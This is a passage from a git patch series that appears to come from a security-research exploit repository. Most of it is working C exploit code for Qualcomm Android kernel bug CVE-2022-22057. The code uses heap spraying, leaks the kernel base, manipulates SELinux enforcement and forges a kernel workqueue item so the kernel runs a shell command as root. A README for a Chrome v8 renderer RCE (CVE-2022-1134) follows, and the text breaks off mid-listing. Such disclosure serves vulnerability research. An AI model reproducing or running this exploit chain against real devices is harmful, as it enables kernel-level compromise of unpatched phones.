SIGUSR1); + write(pipe_write, &write_char, 1); + migrate_to_cpu(poll_cpu); + while (cb_list == 0) { + cb_list = poll_list_addr(fence_start, CHAIN_SIZE, fence_kstart); + } + spray_with_intervals(SPRAY_INTERVAL, INTERVAL_COUNT, (1 << DESTROY_CPU), &mask2, &(sigfds2[0]), per_interval_spray); + printf("cb_list %lx temp %lx\n", cb_list, cb_list + STACK_OFFSET); + + uint64_t mask1 = 0x52424242; + uint64_t offset = 0; + int spray_size = SIGFD1_SPRAY; + + sleep(1); + int batch_size = BATCH_SIZE; + int batch_num = NB_REALLOC_THREADS/batch_size; + if (NB_REALLOC_THREADS % batch_size) batch_num++; + int index2 = -1; + for (int batch = 0; batch < batch_num; batch++) { + int sprayed = 0; + for (int sprayed_num = 0; sprayed_num < batch_size; sprayed_num++) { + migrate_to_cpu(SPRAY_CPU); + if (sprayed_num + batch * batch_size >= NB_REALLOC_THREADS) break; + cleanup(&(rta[sprayed_num + batch * batch_size])); + sprayed++; + } + spray_signalfd(&mask1, spray_size * sprayed, SPRAY_CPU, &(sigfds[offset])); + offset += spray_size * sprayed; + index2 = search_changed_mask(mask2, &(sigfds2[0]), SIGFD_SPRAY_NUM2, &new_mask); + if (index2 != -1) { + break; + } + } + if (index2 == -1) { + err(1, "Failed to replace sigfds2 mask.\n"); + } + //Fail to replace free'd sendmsg object, try to spray more on other cpu + if (new_mask != mask1) { + int batch_size = SIGFD_SPRAY_OVERFLOW/(CPU_RANGE - 1); + for (int cpu = 0; cpu < CPU_RANGE; cpu++) { + if (cpu == SPRAY_CPU) continue; + spray_signalfd(&mask1, batch_size, cpu, &(sigfds[offset])); + index2 = search_changed_mask(mask2, &(sigfds2[0]), SIGFD_SPRAY_NUM2, &new_mask); + offset += batch_size; + if (new_mask == mask1) { + printf("Replaced sendmsg on cpu %d\n", cpu); + break; + } + } + if (new_mask != mask1) { + err(1, "failed to replace sendmsg object.\n"); + } + } + + int cpu_count = CPU_RANGE; + int cpu_id = (index2 % (cpu_count * per_interval_spray)) / per_interval_spray; + + printf("cpu_id %d\n", cpu_id); + printf("interval number %lu\n", index2/(cpu_count * per_interval_spray)); + uint64_t addr_mask = ~region_vaddr; + change_signalfd_mask(&addr_mask, sigfds2[index2]); + int index1 = search_changed_mask(mask1, &(sigfds[0]), sizeof(sigfds)/sizeof(int), &new_mask); + if (index1 == -1) { + err(1, "failed to replace sigfds mask.\n"); + } + printf("thread number %d %d %d\n", index1/spray_size, index1 % spray_size, sigfds[index1]); + printf("thread batch number %d\n", assign_batch_num(index1/spray_size)); + + printf("new mask %lx %lx\n", new_mask, ~(new_mask)); + + int ion_dma_fds[ION_DMA_SIZE] = {-1}; + uint64_t ion_dma_regions[ION_DMA_SIZE] = {0}; + uint64_t flags[ION_DMA_SIZE]; + int found_dma[ION_DMA_SIZE] = {0}; + int found_idx[SLAB_SIZE] = {0}; + int off = 0; + printf("region_offset %lx\n", region_offset); + uint8_t* region_ptr = (uint8_t*)(ion_region + region_offset); + for (int i = 0; i < ION_DMA_SIZE; i++) { + flags[i] = 0x4141 + i; + } + sleep(1); + migrate_to_cpu(cpu_id); + close(sigfds2[index2]); + change_signalfd_mask(&addr_mask, sigfds[index1]); + + int found = 0; + int spray_num = spray_ion_buffer(ion_fd, ION_DMA_SIZE, cpu_id, &(ion_dma_fds[0]), &(flags[0])); + printf("sprayed %d ion buffer\n", spray_num); + printf("start searching for buffer\n"); + found = search_ion_buffer(region_ptr, SLAB_SIZE, &(flags[0]), &(found_dma[0]), &(found_idx[0]), ION_DMA_SIZE); + if (found != 0) { + printf("Found %d ion regions\n", found); + } + + //Try other cpu + if (found == 0) { + for (int cpu = 0; cpu < CPU_RANGE; cpu++) { + if (cpu == cpu_id) continue; + spray_num = spray_ion_buffer(ion_fd, ION_DMA_SIZE, cpu_id, &(ion_dma_fds[0]), &(flags[0])); + printf("Retry start searching for buffer on cpu %d\n", cpu); + found = search_ion_buffer(region_ptr, SLAB_SIZE, &(flags[0]), &(found_dma[0]), &(found_idx[0]), ION_DMA_SIZE); + if (found != 0) { + printf("Found %d ion regions on cpu %d\n", found, cpu); + break; + } + } + } + + if (found == 0) { + addr_mask = 0; + change_signalfd_mask(&addr_mask, sigfds[index1]); + err(1, "Failed to find ion buffer\n"); + } + + uint64_t table_vaddr = region_vaddr + region_offset + SLAB_SIZE * 128; + uint8_t* table_region = (uint8_t*)(region_ptr + SLAB_SIZE * 128); + uint64_t ion_heap = 0; + uint64_t enforcing_region = 0; + + int ion_dma_fd = get_ion_dma_fd(&(found_dma[0]), &(ion_dma_fds[0]), 0, ION_DMA_SIZE); + struct ion_buffer* ion_buf = get_ion_buffer(&(found_idx[0]), region_ptr, 0, SLAB_SIZE); + uint64_t ion_heap_vaddr = (uint64_t)(ion_buf->heap); + + uint64_t kernel_base = 0; + int skip = 0; + for (int i = 0; i < 3; i++) { + kernel_base = get_kernel_base(ion_dma_fd, ion_buf, table_vaddr, table_region, (uint64_t)(ion_buf->heap), &ion_heap); + if (kernel_base) break; + table_vaddr += 2 * 128; + table_region += 2 * 128; + skip++; + sleep(1); + ion_dma_fd = get_ion_dma_fd(&(found_dma[0]), &(ion_dma_fds[0]), skip, ION_DMA_SIZE); + if (ion_dma_fd == -1) break; + ion_buf = get_ion_buffer(&(found_idx[0]), region_ptr, skip, SLAB_SIZE); + } + if (!kernel_base) { + repair_heap(ion_heap, ion_heap_vaddr, &(ion_dma_fds[0]), &(ion_dma_regions[0]), ION_DMA_SIZE); + err(1, "Failed to get kernel base\n"); + } + + skip++; + ion_dma_fd = get_ion_dma_fd(&(found_dma[0]), ion_dma_fds, skip, ION_DMA_SIZE); + if (ion_dma_fd == -1) { + repair_heap(ion_heap, ion_heap_vaddr, &(ion_dma_fds[0]), &(ion_dma_regions[0]), ION_DMA_SIZE); + err(1, "Failed to ion_dma_fd for enforcing\n"); + } + ion_buf = get_ion_buffer(&(found_idx[0]), region_ptr, skip, SLAB_SIZE); + + table_vaddr += 2 * 128; + table_region += 2 * 128; + skip++; + + int enforced = 0; + for (int i = 0; i < 3; i++) { + enforced = set_enforcing(ion_dma_fd, ion_buf, table_vaddr, table_region, kernel_base, &enforcing_region); + table_vaddr += 2 * 128; + table_region += 2 * 128; + skip++; + if (enforced == 0) break; + munmap((void*)page_align(enforcing_region), 0x1000); + ion_dma_fd = get_ion_dma_fd(&(found_dma[0]), ion_dma_fds, skip, ION_DMA_SIZE); + if (ion_dma_fd == -1) break; + ion_buf = get_ion_buffer(&(found_idx[0]), region_ptr, skip, SLAB_SIZE); + } + if (enforced == -1) { + repair_heap(ion_heap, ion_heap_vaddr, &(ion_dma_fds[0]), &(ion_dma_regions[0]), ION_DMA_SIZE); + err(1, "Failed to set enforcing\n"); + } + + ion_dma_regions[0] = enforcing_region; + uint64_t kernel_shift = kernel_base - KERNEL_PBASE; + uint64_t wq_ptr_addr = KGSL_MEMQUEUE_OFF + KERNEL_VBASE + kernel_shift; + + int wq_ptr_fd = get_ion_dma_fd(&(found_dma[0]), ion_dma_fds, skip, ION_DMA_SIZE); + if (wq_ptr_fd == -1) { + repair_heap(ion_heap, ion_heap_vaddr, &(ion_dma_fds[0]), &(ion_dma_regions[0]), ION_DMA_SIZE); + err(1, "Failed to find ion region for wq_ptr_fd\n"); + } + struct ion_buffer* wq_ptr_buf = get_ion_buffer(&(found_idx[0]), region_ptr, skip, SLAB_SIZE); + + table_vaddr += 2 * 128; + table_region += 2 * 128; + skip++; + + uint64_t wq_addr = 0; + for (int i = 0; i < 3; i++) { + wq_addr = get_wq_addr(wq_ptr_fd, wq_ptr_buf, table_vaddr, table_region, wq_ptr_addr); + if (wq_addr != 0) { + break; + } + table_vaddr += 2 * 128; + table_region += 2 * 128; + skip++; + wq_ptr_fd = get_ion_dma_fd(&(found_dma[0]), ion_dma_fds, skip, ION_DMA_SIZE); + if (wq_ptr_fd == -1) { + repair_heap(ion_heap, ion_heap_vaddr, &(ion_dma_fds[0]), &(ion_dma_regions[0]), ION_DMA_SIZE); + err(1, "Failed to find ion region for wq_ptr_fd\n"); + } + wq_ptr_buf = get_ion_buffer(&(found_idx[0]), region_ptr, skip, SLAB_SIZE); + } + + if (wq_addr == 0) { + repair_heap(ion_heap, ion_heap_vaddr, &(ion_dma_fds[0]), &(ion_dma_regions[0]), ION_DMA_SIZE); + err(1, "Failed to find ion region for wq_ptr_fd\n"); + } + + int wq_fd = get_ion_dma_fd(&(found_dma[0]), ion_dma_fds, skip, ION_DMA_SIZE); + if (wq_fd == -1) { + repair_heap(ion_heap, ion_heap_vaddr, &(ion_dma_fds[0]), &(ion_dma_regions[0]), ION_DMA_SIZE); + err(1, "Failed to find ion region for wq_fd\n"); + } + struct ion_buffer* wq_buf = get_ion_buffer(&(found_idx[0]), region_ptr, skip, SLAB_SIZE); + + table_vaddr += 2 * 128; + table_region += 2 * 128; + skip++; + + uint64_t pwq_addr = 0; + for (int i = 0; i < 3; i++) { + pwq_addr = get_pwq_addr(wq_fd, wq_buf, table_vaddr, table_region, wq_addr); + if (pwq_addr != 0) break; + table_vaddr += 2 * 128; + table_region += 2 * 128; + skip++; + wq_fd = get_ion_dma_fd(&(found_dma[0]), ion_dma_fds, skip, ION_DMA_SIZE); + if (wq_fd == -1) { + repair_heap(ion_heap, ion_heap_vaddr, &(ion_dma_fds[0]), &(ion_dma_regions[0]), ION_DMA_SIZE); + err(1, "Failed to find ion region for wq_fd\n"); + } + wq_buf = get_ion_buffer(&(found_idx[0]), region_ptr, skip, SLAB_SIZE); + } + + if (pwq_addr == 0) { + repair_heap(ion_heap, ion_heap_vaddr, &(ion_dma_fds[0]), &(ion_dma_regions[0]), ION_DMA_SIZE); + err(1, "Failed to get pwq_addr\n"); + } + + int pwq_fd = get_ion_dma_fd(&(found_dma[0]), ion_dma_fds, skip, ION_DMA_SIZE); + if (pwq_fd == -1) { + repair_heap(ion_heap, ion_heap_vaddr, &(ion_dma_fds[0]), &(ion_dma_regions[0]), ION_DMA_SIZE); + err(1, "Failed to find ion region for pwq_fd\n"); + } + struct ion_buffer* pwq_buf = get_ion_buffer(&(found_idx[0]), region_ptr, skip, SLAB_SIZE); + table_vaddr += 2 * 128; + table_region += 2 * 128; + skip++; + + uint64_t pwq_region = 0; + uint64_t pool_addr = 0; + for (int i = 0; i < 3; i++) { + pool_addr = map_pwq(pwq_fd, pwq_buf, table_vaddr, table_region, pwq_addr, &pwq_region); + if (pool_addr != 0) break; + munmap((void*)page_align(pwq_region), 0x1000); + table_vaddr += 2 * 128; + table_region += 2 * 128; + skip++; + pwq_fd = get_ion_dma_fd(&(found_dma[0]), ion_dma_fds, skip, ION_DMA_SIZE); + if (pwq_fd == -1) { + repair_heap(ion_heap, ion_heap_vaddr, &(ion_dma_fds[0]), &(ion_dma_regions[0]), ION_DMA_SIZE); + err(1, "Failed to find ion region for pwq_fd\n"); + } + pwq_buf = get_ion_buffer(&(found_idx[0]), region_ptr, skip, SLAB_SIZE); + } + if (pool_addr == 0) { + repair_heap(ion_heap, ion_heap_vaddr, &(ion_dma_fds[0]), &(ion_dma_regions[0]), ION_DMA_SIZE); + err(1, "Failed to map pwq_addr\n"); + } + + ion_dma_regions[1] = pwq_region; + int pool_fd = get_ion_dma_fd(&(found_dma[0]), ion_dma_fds, skip, ION_DMA_SIZE); + if (pool_fd == -1) { + repair_heap(ion_heap, ion_heap_vaddr, &(ion_dma_fds[0]), &(ion_dma_regions[0]), ION_DMA_SIZE); + err(1, "Failed to find ion region for pool_fd\n"); + } + struct ion_buffer* pool_buf = get_ion_buffer(&(found_idx[0]), region_ptr, skip, SLAB_SIZE); + table_vaddr += 2 * 128; + table_region += 2 * 128; + skip++; + uint64_t pool_region = 0; + for (int i = 0; i < 3; i++) { + uint64_t worklist = map_pwq_pool(pool_fd, pool_buf, table_vaddr, table_region, pool_addr, &pool_region); + if (pool_region != 0) break; + table_vaddr += 2 * 128; + table_region += 2 * 128; + skip++; + pool_fd = get_ion_dma_fd(&(found_dma[0]), ion_dma_fds, skip, ION_DMA_SIZE); + if (pool_fd == -1) { + repair_heap(ion_heap, ion_heap_vaddr, &(ion_dma_fds[0]), &(ion_dma_regions[0]), ION_DMA_SIZE); + err(1, "Failed to find ion region for pool_fd\n"); + } + pool_buf = get_ion_buffer(&(found_idx[0]), region_ptr, skip, SLAB_SIZE); + } + if (pool_region == 0) { + repair_heap(ion_heap, ion_heap_vaddr, &(ion_dma_fds[0]), &(ion_dma_regions[0]), ION_DMA_SIZE); + err(1, "Failed to map_pwq_pool\n"); + } + ion_dma_regions[2] = pool_region; + table_vaddr += 2 * 128; + table_region += 2 * 128; + skip++; + + setup_sub_info(table_region, table_vaddr, kernel_shift, table_vaddr + 128, table_region + 128); + printf("queue work\n"); + sleep(1); + migrate_to_cpu(0); + + int queue_res = 0; + for (int i = 0; i < 3; i++) { + queue_res = queue_work((uint8_t*)pool_region, pool_addr, (uint8_t*)pwq_region, pwq_addr, table_region, table_vaddr, pool_addr + WORKLIST_OFF); + if (queue_res == 0) break; + printf("[-] Failed to run command, retry\n"); + setup_sub_info(table_region, table_vaddr, kernel_shift, table_vaddr + 128, table_region + 128); + sleep(1); + } + if (queue_res == -1) { + repair_heap(ion_heap, ion_heap_vaddr, &(ion_dma_fds[0]), &(ion_dma_regions[0]), ION_DMA_SIZE); + err(1, "failed to queue work\n"); + } + printf("finished queue work\n"); + repair_heap(ion_heap, ion_heap_vaddr, &(ion_dma_fds[0]), &(ion_dma_regions[0]), ION_DMA_SIZE); + sleep(1); + close(ion_fd); + printf("finished spraying\n"); + + close_unused_fds(&(syncfds[0]), SYNC_FILE_NUM, -1); + printf("finished\n"); + +} diff --git a/SecurityExploits/Android/Qualcomm/CVE-2022-22057/work_queue_utils.c b/SecurityExploits/Android/Qualcomm/CVE-2022-22057/work_queue_utils.c new file mode 100644 index 0000000..92721d0 --- /dev/null +++ b/SecurityExploits/Android/Qualcomm/CVE-2022-22057/work_queue_utils.c @@ -0,0 +1,307 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "work_queue_utils.h" +#include "addr_utils.h" +#include "ion_utils.h" +#include "fake_obj_util.h" +#include "cpu_utils.h" +#include "kgsl_ioctl.h" + +//workqueue_struct::numa_pwq_tbl +#define NUMA_PWQ_TBL_OFF 0x110 +//pool_workqueue::pool +#define PWQ_POOL_OFF 0x0 +//pool_workqueue::refcnt +#define REFCNT_OFF 0x18 +//pool_workqueue::work_color +#define WORK_COLOR_OFF 0x10 +//pool_workqueue::nr_in_flight +#define NR_IN_FLIGHT 0x1c +//pool_workqueue::nr_active +#define NR_ACTIVE 0x58 +//pool_workqueue::max_active +#define MAX_ACTIVE 0x5c +//work_struct::entry +#define WORK_STRUCT_ENTRY 0x8 + +#define WORK_STRUCT_COLOR_SHIFT 4ul + +#define CALL_USERMODE_OFF 0x16b5434ul + +//run_cmd.envp +#define RUN_CMD_ENVP_OFF 0x2c8d158 + +#define WORK_STRUCT_PENDING 1 + +#define WORK_STRUCT_PWQ 4 + +//Padding between compilers not reliable, so use hardcode offsets +#define SUB_INFO_COMPLETE 0x30 + +#define SUB_INFO_PATH 0x38 + +#define SUB_INFO_ARGV 0x40 + +#define SUB_INFO_ENVP 0x48 + +#define SUB_INFO_FUNC 0x18 + +#define SUB_INFO_WAIT 0x58 + +#define SUB_INFO_RET 0x5c + +#define SUB_INFO_SIZE 128 + +#define COMPLETION_LIST_OFF (0x8 + 0x8) + +struct work_struct { + uint64_t data; + struct list_head entry; + uint64_t func; +}; + +struct subprocess_info { + struct work_struct work; + struct completion *complete; + uint64_t path; + uint64_t argv; + uint64_t envp; + void *file; + int wait; + int retval; + int pid; + void* init; + void* cleanup; + void *data; +}; + +void setup_sub_info(uint8_t* sub_info, uint64_t sub_info_vaddr, uint64_t kernel_shift, uint64_t arg_vaddr, uint8_t* arg_region) { + memset(sub_info, 0, SUB_INFO_SIZE); + const char* path = "/system/bin/sh"; + + const char* arg1 = "-c"; + const char* cmd = "/system/bin/id > /data/local/tmp/id.txt"; + memset(arg_region, 0, 0x280); + memcpy(arg_region + 0x80, path, strlen(path)); + + memcpy(arg_region + 0x100, arg1, strlen(arg1)); + memcpy(arg_region + 0x180, cmd, strlen(cmd)); + uint64_t* argv = (uint64_t*)arg_region; + + argv[0] = arg_vaddr + 0x80; + argv[1] = arg_vaddr + 0x100; + argv[2] = arg_vaddr + 0x180; + argv[3] = 0; + + *((uint64_t*)(sub_info + SUB_INFO_FUNC)) = CALL_USERMODE_OFF + KERNEL_VBASE + kernel_shift; + + *((uint64_t*)(sub_info + SUB_INFO_PATH)) = arg_vaddr + 0x80; + *((uint64_t*)(sub_info + SUB_INFO_ARGV)) = arg_vaddr; + + *((uint64_t*)(sub_info + SUB_INFO_ENVP)) = RUN_CMD_ENVP_OFF + KERNEL_VBASE + kernel_shift; + + uint64_t complete_addr = arg_vaddr + 0x200; + *((uint64_t*)(sub_info + SUB_INFO_COMPLETE)) = complete_addr; + uint8_t* completion = arg_region + 0x200; + *((uint64_t*)(completion + COMPLETION_LIST_OFF)) = complete_addr + COMPLETION_LIST_OFF; + *((uint64_t*)(completion + COMPLETION_LIST_OFF + 0x8)) = complete_addr + COMPLETION_LIST_OFF; + + *((uint32_t*)(sub_info + SUB_INFO_WAIT)) = 0; + *((uint32_t*)(sub_info + SUB_INFO_RET)) = 0xfe; + +} + +static inline int work_color_to_flags(int color) { + return color << WORK_STRUCT_COLOR_SHIFT; +} + +uint8_t* map_addr_to_ion(int ion_dma_fd, struct ion_buffer* buffer, uint64_t table_vaddr, uint8_t* table_region, uint64_t vaddr) { + uint64_t phys_addr = virt_to_phys(vaddr); + uint64_t offset = phys_addr % 0x1000; + patch_ion_buffer(buffer, table_vaddr, table_region, phys_addr, 0x1000); + uint64_t len = 0x1000; + void* ion_region = mmap(NULL, len, PROT_READ|PROT_WRITE, MAP_SHARED, ion_dma_fd, 0); + if (ion_region == MAP_FAILED) { + return MAP_FAILED; + } + return (uint8_t*)(ion_region + offset); +} + +uint64_t get_wq_addr(int ion_dma_fd, struct ion_buffer* buffer, uint64_t table_vaddr, uint8_t* table_region, uint64_t wq_ptr_addr) { + printf("wq_ptr_addr: %lx\n", wq_ptr_addr); + uint8_t* region = map_addr_to_ion(ion_dma_fd, buffer, table_vaddr, table_region, wq_ptr_addr); + if (region == MAP_FAILED) { + printf("get_wq_addr failed\n"); + return 0; + } + uint64_t* addr_ptr = (uint64_t*)region; + uint64_t wq_addr = *addr_ptr; + munmap((void*)page_align((uint64_t)region), 0x1000); + return wq_addr; +} + +uint64_t get_pwq_addr(int ion_dma_fd, struct ion_buffer* buffer, uint64_t table_vaddr, uint8_t* table_region, uint64_t wq_addr) { + printf("wq_addr: %lx\n", wq_addr); + uint8_t* region = map_addr_to_ion(ion_dma_fd, buffer, table_vaddr, table_region, wq_addr); + if (region == MAP_FAILED) { + printf("get_pwq_addr failed\n"); + return 0; + } + uint64_t* addr_ptr = (uint64_t*)(region + NUMA_PWQ_TBL_OFF); + uint64_t pwq_addr = *addr_ptr; + printf("pwq_addr %lx\n", pwq_addr); + munmap((void*)page_align((uint64_t)region), 0x1000); + return pwq_addr; +} + +uint64_t map_pwq(int ion_dma_fd, struct ion_buffer* buffer, uint64_t table_vaddr, uint8_t* table_region, uint64_t pwq_addr, uint64_t* pwq_region) { + uint8_t* region = map_addr_to_ion(ion_dma_fd, buffer, table_vaddr, table_region, pwq_addr); + if (region == MAP_FAILED) { + printf("map_pwq failed\n"); + return 0; + } + *pwq_region = (uint64_t)region; + uint64_t* addr_ptr = (uint64_t*)(region + PWQ_POOL_OFF); + uint64_t pool_addr = *addr_ptr; + printf("pool_addr %lx\n", pool_addr); + return pool_addr; +} + +uint64_t map_pwq_pool(int ion_dma_fd, struct ion_buffer* buffer, uint64_t table_vaddr, uint8_t* table_region, uint64_t pool_addr, uint64_t* pool_region) { + uint8_t* region = map_addr_to_ion(ion_dma_fd, buffer, table_vaddr, table_region, pool_addr); + if (region == MAP_FAILED) { + printf("map_pwq_pool failed\n"); + return 0; + } + *pool_region = (uint64_t)region; + uint64_t* worklist = (uint64_t*)(region + WORKLIST_OFF); + printf("worklist %lx %lx\n", worklist[0], worklist[1]); + return *worklist; +} + +__attribute__((noinline)) int insert_work(uint32_t* nr_active, uint32_t* refcnt, uint32_t* nr_in_flight, volatile uint64_t* worklist, uint64_t work_entry_addr, uint64_t worklist_addr) { + uint32_t nr_act = *nr_active; + uint32_t inflight = *nr_in_flight; + uint32_t refcount = *refcnt; + *refcnt = refcount + 1; + *nr_active = nr_act + 1; + *nr_in_flight = inflight + 1; + if (worklist_addr == *worklist) { + worklist[0] = work_entry_addr; + worklist[1] = work_entry_addr; + return 0; + } + *refcnt = refcount; + *nr_active = nr_act; + *nr_in_flight = inflight; + return -1; +} + +void spin_lock(volatile uint32_t* lock) { + while (*lock); + *lock = 1; + return; +} + +void wake_up_queue() { + int kgsl_fd = open("/dev/kgsl-3d0", O_RDONLY); + struct kgsl_timeline_val param = {0}; + ioctl(kgsl_fd, IOCTL_KGSL_TIMELINE_QUERY, ¶m); + close(kgsl_fd); +} + +int queue_work(uint8_t* pool_region, uint64_t pool_addr, uint8_t* pwq_region, uint64_t pwq_addr, uint8_t* sub_info, uint64_t sub_info_vaddr, uint64_t worklist_addr) { + uint32_t* max_active = (uint32_t*)(pwq_region + MAX_ACTIVE); + uint32_t* nr_active = (uint32_t*)(pwq_region + NR_ACTIVE); + uint32_t* refcnt = (uint32_t*)(pwq_region + REFCNT_OFF); + uint32_t* work_color_ptr = (uint32_t*)(pwq_region + WORK_COLOR_OFF); + uint32_t* nr_in_flight = (uint32_t*)(pwq_region + NR_IN_FLIGHT); + volatile uint64_t* worklist = (uint64_t*)(pool_region + WORKLIST_OFF); + uint64_t work_entry_addr = sub_info_vaddr + WORK_STRUCT_ENTRY; + uint32_t* lock = (uint32_t*)(pool_region); + + migrate_to_cpu(0); + struct work_struct* work = (struct work_struct*)sub_info; + work->entry.next = worklist_addr; + work->entry.prev = worklist_addr; + int refcount = *refcnt; + if (refcount == 0) { + printf("memory pool has refcount 0\n"); + return -1; + } + printf("max_active %u nr_active %u\n", *max_active, *nr_active); + uint32_t work_color = *work_color_ptr; + uint32_t work_flags = work_color_to_flags(work_color); + work->data = (WORK_STRUCT_PENDING | WORK_STRUCT_PWQ | work_flags | pwq_addr); + printf("queuing work, waiting to aquire spin lock\n"); + int ret = 0; + for (int i = 0; i < 1000; i++) { + spin_lock(lock); + ret = insert_work(nr_active, refcnt, nr_in_flight + work_color, worklist, work_entry_addr, worklist_addr); + if (ret == -1) { + *lock = 0; + } else { + break; + } + usleep(100); + } + if (ret == 0) { + *lock = 0; + } else { + return -1; + } + printf("work_queued\n"); + sleep(1); + if (*worklist == work_entry_addr) { + wake_up_queue(); + } + + migrate_to_cpu(1); + struct timeval start, end; + long micros_used, secs_used; + int try_wake_up = 0; + + gettimeofday(&start, NULL); + + while(*worklist == work_entry_addr) { + gettimeofday(&end, NULL); + secs_used=(end.tv_sec - start.tv_sec); + if (secs_used > 2) { + if (try_wake_up < 3) { + wake_up_queue(); + try_wake_up++; + gettimeofday(&start, NULL); + } else { + printf("[-] Work queue may have stalled, try pressing power button to wake up\n"); + gettimeofday(&start, NULL); + } + } + usleep(1000); + } + printf("work processed\n"); + printf("complete %lx\n", *((uint64_t*)(sub_info + SUB_INFO_COMPLETE))); + uint32_t cmd_ret = *((uint32_t*)(sub_info + SUB_INFO_RET)); + printf("ret %d\n", cmd_ret); + printf("nr_active %u\n", *nr_active); + printf("worklist %lx\n", worklist[0]); + printf("work next %lx\n", work->entry.next); + if (*((uint32_t*)(sub_info + SUB_INFO_RET)) == 0) { + printf("[+] successfully run command and added id.txt in /data/local/tmp\n"); + } else { + printf("[-] Failed to run command, error code %d\n", cmd_ret); + return -1; + } + sleep(1); + + return 0; +} diff --git a/SecurityExploits/Android/Qualcomm/CVE-2022-22057/work_queue_utils.h b/SecurityExploits/Android/Qualcomm/CVE-2022-22057/work_queue_utils.h new file mode 100644 index 0000000..d901fb2 --- /dev/null +++ b/SecurityExploits/Android/Qualcomm/CVE-2022-22057/work_queue_utils.h @@ -0,0 +1,26 @@ +#ifndef WORK_QUEUE_UTILS +#define WORK_QUEUE_UTILS + +#include "fake_obj_util.h" + +#define SYSTEM_UNBOUND_WQ_OFF 0x2b8f7f8ul + +#define KGSL_DRIVER_OFF 0x2d0a000 + +#define KGSL_MEMQUEUE_OFF (KGSL_DRIVER_OFF + 0x518) + +//worker_pool::worklist +#define WORKLIST_OFF 0x20 + +uint64_t get_wq_addr(int ion_dma_fd, struct ion_buffer* buffer, uint64_t table_vaddr, uint8_t* table_region, uint64_t wq_ptr_addr); + +uint64_t get_pwq_addr(int ion_dma_fd, struct ion_buffer* buffer, uint64_t table_vaddr, uint8_t* table_region, uint64_t wq_addr); + +uint64_t map_pwq(int ion_dma_fd, struct ion_buffer* buffer, uint64_t table_vaddr, uint8_t* table_region, uint64_t pwq_addr, uint64_t* pwq_region); + +uint64_t map_pwq_pool(int ion_dma_fd, struct ion_buffer* buffer, uint64_t table_vaddr, uint8_t* table_region, uint64_t pool_addr, uint64_t* pool_region); + +int queue_work(uint8_t* pool_region, uint64_t pool_addr, uint8_t* pwq_region, uint64_t pwq_addr, uint8_t* sub_info, uint64_t sub_info_vaddr, uint64_t worklist_addr); + +void setup_sub_info(uint8_t* sub_info, uint64_t sub_info_vaddr, uint64_t kernel_shift, uint64_t arg_vaddr, uint8_t* arg_region); +#endif From a2d2f8fd28ce9b099c0176a70026384efbd9ac9c Mon Sep 17 00:00:00 2001 From: Man Yue Mo Date: Wed, 29 Jun 2022 09:01:45 +0100 Subject: [PATCH 084/140] Initial commit --- .../Chrome/v8/CVE-2022-1134/README.md | 29 +++ .../Chrome/v8/CVE-2022-1134/superic_rce.html | 232 ++++++++++++++++++ 2 files changed, 261 insertions(+) create mode 100644 SecurityExploits/Chrome/v8/CVE-2022-1134/README.md create mode 100644 SecurityExploits/Chrome/v8/CVE-2022-1134/superic_rce.html diff --git a/SecurityExploits/Chrome/v8/CVE-2022-1134/README.md b/SecurityExploits/Chrome/v8/CVE-2022-1134/README.md new file mode 100644 index 0000000..bf4cd9d --- /dev/null +++ b/SecurityExploits/Chrome/v8/CVE-2022-1134/README.md @@ -0,0 +1,29 @@ +#Chrome renderer RCE CVE-2022-1134 + +The write up can be found [here](https://github.blog/2022-06-29-the-chromium-super-inline-cache-type-confusion/). This is a bug in the v8 that I reported in March 2022. This bug allows RCE in the Chrome renderer sandbox by simply visiting a malicious website. + +The exploit is tested with the Linux official build of Chrome version `99.0.4844.84` with the following revision (this can be checked from `chrome://version`): + +``` +Chromium 99.0.4844.84 (Official Build) (64-bit) +Revision 81a11fc2ee8a41e17451f29195387f276d3bb379-refs/branch-heads/4844_74@{#6} +``` + +For reference, the tested binary is compiled with the following flags, following the instructions to compile Chrome [here](https://chromium.googlesource.com/chromium/src/+/main/docs/linux/build_instructions.md): + +``` +is_debug = false +symbol_level = 2 +blink_symbol_level = 2 +dcheck_always_on = false +is_official_build = true +chrome_pgo_phase = 0 +``` + +To test, host the file `superic_rce.html` and then open it in Chrome with the `--no-sandbox` flag: + +``` +./chrome --user-data-dir=/tmp/chromium_data --no-sandbox +``` + +If successful, it'll pop `xcalc` instantly (on Ubuntu). The exploit should be very reliable and I've not experience any failure with it. diff --git a/SecurityExploits/Chrome/v8/CVE-2022-1134/superic_rce.html b/SecurityExploits/Chrome/v8/CVE-2022-1134/superic_rce.html new file mode 100644 index 0000000..7cc7805 --- /dev/null +++ b/SecurityExploits/Chrome/v8/CVE-2022-1134/superic_rce.html @@ -0,0 +1,232 @@ + + + + + From 0aaf240ef611edcec34631276f4de9fe84cb4f0f Mon Sep 17 00:00:00 2001 From: Man Yue Mo Date: Wed, 29 Jun 2022 16:10:31 +0100 Subject: [PATCH 085/140] Fix link --- .../Chrome/v8/{CVE-2022-1134 => CVE_2022_1134}/README.md | 0 .../Chrome/v8/{CVE-2022-1134 => CVE_2022_1134}/superic_rce.html | 0 2 files changed, 0 insertions(+), 0 deletions(-) rename SecurityExploits/Chrome/v8/{CVE-2022-1134 => CVE_2022_1134}/README.md (100%) rename SecurityExploits/Chrome/v8/{CVE-2022-1134 => CVE_2022_1134}/superic_rce.html (100%) diff --git a/SecurityExploits/Chrome/v8/CVE-2022-1134/README.md b/SecurityExploits/Chrome/v8/CVE_2022_1134/README.md similarity index 100% rename from SecurityExploits/Chrome/v8/CVE-2022-1134/README.md rename to SecurityExploits/Chrome/v8/CVE_2022_1134/README.md diff --git a/SecurityExploits/Chrome/v8/CVE-2022-1134/superic_rce.html b/SecurityExploits/Chrome/v8/CVE_2022_1134/superic_rce.html similarity index 100% rename from SecurityExploits/Chrome/v8/CVE-2022-1134/superic_rce.html rename to SecurityExploits/Chrome/v8/CVE_2022_1134/superic_rce.html From a7a5c6e4d18ba4b9f106866a67801eaf498d7bec Mon Sep 17 00:00:00 2001 From: Man Yue Mo Date: Wed, 27 Jul 2022 14:39:12 +0100 Subject: [PATCH 086/140] Blog resources --- .../Android/Mali/CVE_2022_20186/README.md | 36 + .../Android/Mali/CVE_2022_20186/mali.h | 1037 ++++++++++++++ .../Android/Mali/CVE_2022_20186/mali_alias.c | 501 +++++++ .../Mali/CVE_2022_20186/mali_base_jm_kernel.h | 1202 +++++++++++++++++ .../Android/Mali/CVE_2022_20186/midgard.h | 260 ++++ 5 files changed, 3036 insertions(+) create mode 100644 SecurityExploits/Android/Mali/CVE_2022_20186/README.md create mode 100644 SecurityExploits/Android/Mali/CVE_2022_20186/mali.h create mode 100644 